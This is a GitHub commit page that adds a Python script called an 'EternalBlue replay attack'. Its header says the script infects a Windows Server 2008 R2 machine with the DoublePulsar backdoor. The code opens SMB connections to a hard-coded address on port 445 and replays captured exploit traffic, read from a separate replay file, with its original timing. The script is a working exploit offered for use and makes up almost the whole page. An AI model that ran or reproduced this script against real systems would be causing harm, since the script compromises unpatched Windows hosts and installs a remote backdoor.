Skip to content

Commit ed64c6a

Browse files
author
zerosum0x0
committed
added @jennamagius replay attack
1 parent 89350ee commit ed64c6a

File tree

2 files changed

+413
-0
lines changed

2 files changed

+413
-0
lines changed

exploits/eternalblue/eternalblue.py

Lines changed: 40 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,40 @@
1+
#!/env/bin/python3
2+
#
3+
# EternalBlue replay attack by @jennamagius
4+
#
5+
# Copyright (C) 2017 RiskSense, Inc.
6+
#
7+
# License: Apache 2.0
8+
#
9+
# Infects a machine with DoublePulsar.
10+
# Tested against Windows Server 2008 R2 SP1
11+
12+
import socket
13+
import time
14+
import ast
15+
16+
def main():
17+
backlog = open("eternalblue.replay").read().split("\n\n")
18+
backlog = [ast.literal_eval(i) for i in backlog]
19+
connections = []
20+
start = time.monotonic()
21+
for i in backlog:
22+
delta = i[-1] - (start - time.monotonic())
23+
print(i[0], delta)
24+
if delta > 0:
25+
time.sleep(delta)
26+
start = time.monotonic()
27+
if i[0] == "connect":
28+
sock = socket.socket()
29+
sock.connect(('192.168.10.80',445))
30+
connections.append({"socket":sock,"stream" : i[1]})
31+
if i[0] == "close":
32+
[j['socket'].close() for j in connections if j["stream"] == i[1]]
33+
if i[0] == "send":
34+
[j['socket'].send(i[2]) for j in connections if j["stream"] == i[1]]
35+
if i[0] == "recv":
36+
[j['socket'].recv(2048) for j in connections if j['stream'] == i[1]]
37+
38+
39+
if __name__ == "__main__":
40+
main()

0 commit comments

Comments
 (0)